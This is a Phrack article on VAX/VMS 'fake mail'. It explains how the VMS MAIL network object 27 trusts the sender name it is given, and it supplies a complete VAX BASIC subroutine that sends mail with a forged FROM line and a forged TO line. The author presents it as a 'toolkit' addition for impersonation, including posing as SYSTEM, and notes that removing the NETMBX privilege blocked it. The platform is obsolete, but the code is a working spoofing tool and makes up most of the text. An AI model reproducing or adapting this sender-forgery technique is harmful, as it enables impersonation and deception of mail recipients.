Phrack Inc. Volume 03 Issue 30 File 07

eZine lover (@eZine)

Published in 

Phrack Inc

 · 5 years ago

  

                                ==Phrack Inc.= 

                     Volume Three, Issue 30, File #7 of 12 

                             =-------------------= 

                               VAX/VMS Fake Mail 

                                by Jack T. Tab 

                             =-------------------= 

 
In the August 1986 issue of VAX PROFESSIONAL, the BASIC subroutine that appears 
at the end of this text was published.  It was not until more than two years 
later that DEC included a callable mail interface with VMS 5.x.  While the 
official version is much more extensive, the routine included here has one 
important feature.  The ability to have a mail message appear to be from 
someone else is a good addition to most "toolkits." 

VMS Mail works in two manners.  The first is the familiar interactive.  The 
second is as a network object.  In this method, MAIL is invoked by the 
NETSERVER.COM command procedure in response to an incoming connect request. 
MAIL.EXE is activated as network object 27.  The other network objects can be 
viewed by using the NCP command SHOW KNOWN OBJECTS.  In this mode, MAIL.EXE 
operates as a slave process, receiving instructions from the master process. 
The master, in most cases, is another process running MAIL.EXE interactively. 
The slave process can handle requests to deliver mail to as many recipients as 
necessary.  Addresses that are not on the same node as the slave process are 
forwarded by activating yet another slave process on the target node.  The 
information sent by the master MAIL to the slave MAIL is quite simple and 
straightforward, consisting of a series of strings. 

The first string is for the FROM name.  This is what makes the subroutine 
useful, as it can be anything (i.e. the_Easter_Bunny).  The next set of strings 
are to whom the mail is to be sent.  One address per string, with a null 
string, chr(0), terminating the list.  The third item is what the receiver(s) 
sees in their TO: field.  This also can be anything.  VMS MAIL can use this 
option for its .DIS distribution lists.  The final information is the body of 
the message.  It too is terminated by another null string.  The subject of the 
mail message is taken from the first line of this text. 

The MAIL slave will send back appropriate status messages indicating problems 
if they occur.  Such as "Addressee Unknown" or VMS and DECnet errors like "Disk 
Quota Exceeded" or "Remote Node Not Reachable"). 

The only privilege that seems necessary is NETMBX.  Without it the subroutine 
cannot call MAIL as a network object.  Our beloved system management resolved 
the problem of people pretending to be SYSTEM by installing MAIL with NETMBX 
and removing the priv from the student accounts.  The subroutine works just as 
well with JNET and BITNET as it does with DECNET addresses. 

 
***********************************CUT HERE************************************ 
1  %TITLE 'MAIL SUBROUTINE' 

   SUB MAILT( STRING NODE, & 
       STRING FROM_NAME, & 
       STRING TO_LIST(), & 
       STRING TO_SHOW, & 
       STRING SUBJECT, & 
       STRING TEXT() ) 

   OPTION TYPE = INTEGER 

   DECLARE INTEGER FUNCTION & 
     PUT_MSG 

   DECLARE STRING FUNCTION & 
     GET_MSG, & 
     GET_INPUT 

   DECLARE INTEGER CONSTANT & 
     TRUE = -1, & 
     FALSE = 0 
   Net_Link_Open = FALSE 

   Z = POS( NODE + ":" , ":" , 1) 
   NODE_NAME$ = LEFT$( NODE , Z - 1 ) 
   ON ERROR GOTO Mail_Net_Error 
   MAIL_CHANNEL = 12 
   OPEN NODE_NAME$ + '::"27="' AS FILE MAIL_CHANNEL 

   Net_Link_Open = TRUE 

   STS = PUT_MSG( FROM_NAME ) 
   IF STS <> 0 THEN 
     GOTO ERROR_DONE 
   END IF 
   RECEIVERS = 0 
   TO_COUNT = 1 

Mail_Recipients: 
   IF TO_LIST( TO_COUNT ) = "" THEN 
     GOTO End_Of_Line 
   END IF 
   STS = PUT_MSG( EDIT$( TO_LIST( TO_COUNT ) , 32 ) ) 
   IF STS <> 0 THEN 
     GOTO Error_Done 
   END IF 
   GOSUB Errchk 
   IF LINK_ERR <> 0 THEN 
     GOTO Error_Done 
   END IF 

   IF ( ERRSTS AND 1 ) = 0 THEN 
     GOTO Error_Done 
   END IF 

   TO_COUNT = TO_COUNT + 1 
   GOTO Mail_Recipients 

END_OF_LINE: 
   STS = PUT_MSG( CHR$(0) ) 
   IF STS <> 0 THEN 
     GOTO Error_Done 
   END IF 
   IF RECEIVERS = 0 THEN 
     GOTO Mail_Done 
   END IF 

   STS = PUT_MSG( TO_SHOW ) 
   IF STS <> 0 THEN 
     GOTO Error_Done 
   END IF 

   STS = PUT_MSG( SUBJECT ) 
   IF STS <> 0 THEN 
     GOTO Error_Done 
   END IF 

   FOR I = 1 UNTIL TEXT(I) = CHR$(255) 
     STS = PUT_MSG( TEXT(I) ) 
     IF STS <> 0 THEN 
       GOTO Error_Done 
     END IF 
   NEXT I 

   STS = PUT_MSG( CHR$(0) ) 
   IF STS <> 0 THEN 
     GOTO Error_Done 
   END IF 
   SAVE_COUNT = RECEIVERS 
   INDEX = 0 

Delivery_Check: 
   GOSUB Errchk 
   IF LINK_ERR <> 0 THEN 
     GOTO Error_Done 
   END IF 
   INDEX = INDEX + 1 
   IF INDEX <> SAVE_COUNT THEN 
     GOTO Delivery_Check 
   END IF 
   GOTO Mail_Done 

Errchk: 
   MAIL_STS = ASCII( GET_MSG ) 
   IF LINK_ERR <> 0 THEN 
     ERRSTS = LINK_ERR 
     RETURN 
   END IF 
   IF ( MAIL_STS AND 1 ) = 1 THEN 
     Receivers = Receivers + 1 
     ERRSTS = MAIL_STS 
     RETURN 
   END IF 

Errmsg: 
   MAIL_ERR$ = GET_MSG 
   IF LINK_ERR <> 0 THEN 
     ERRSTS = LINK_ERR 
     RETURN 
   END IF 
   IF LEN( MAIL_ERR$ ) <> 1 THEN 
     PRINT MAIL_ERR$ 
     GOTO Errmsg 
   END IF 
   IF ASCII( MAIL_ERR$ ) = 0 THEN 
     RETURN 
   ELSE 
     GOTO Errmsg 
   END IF 

   DEF INTEGER PUT_MSG( STRING M ) 
   ON ERROR GOTO 1550 
   MLEN = LEN( M ) 
   MOVE TO # MAIL_CHANNEL , M = MLEN 
   PUT # MAIL_CHANNEL, COUNT MLEN 
   PUT_MSG = 0 
   EXIT DEF 

1550 RESUME 1555 

1555 PUT_MSG = ERR 
     END DEF 

   DEF STRING GET_INPUT( INTEGER C ) 
   EOF = FALSE 
   ON ERROR GOTO 1650 
   GET # C 
   R = RECOUNT 
   MOVE FROM #C , TEMP$ = R 
   GET_INPUT = TEMP$ 
   EXIT DEF 

1650 RESUME 1655 

1655 EOF = TRUE 
     END DEF 

   DEF STRING GET_MSG 
   ON ERROR GOTO 1750 
   GET # MAIL_CHANNEL 
   R = RECOUNT 
   MOVE FROM # MAIL_CHANNEL , TEMP$ = R 
   GET_MSG = TEMP$ 
   LINK_ERR = 0 
   EXIT DEF 

1750 RESUME 

1755 LINK_ERR = ERR 
     END DEF 

Mail_Net_Error: 
  RESUME 1900 

1900 PRINT "%Network communications error." 

Error_Done: 

Mail_Done: 
   IF Net_Link_Open THEN 
     CLOSE MAIL_CHANNEL 
   END IF 

   END SUB 
***********************************CUT HERE************************************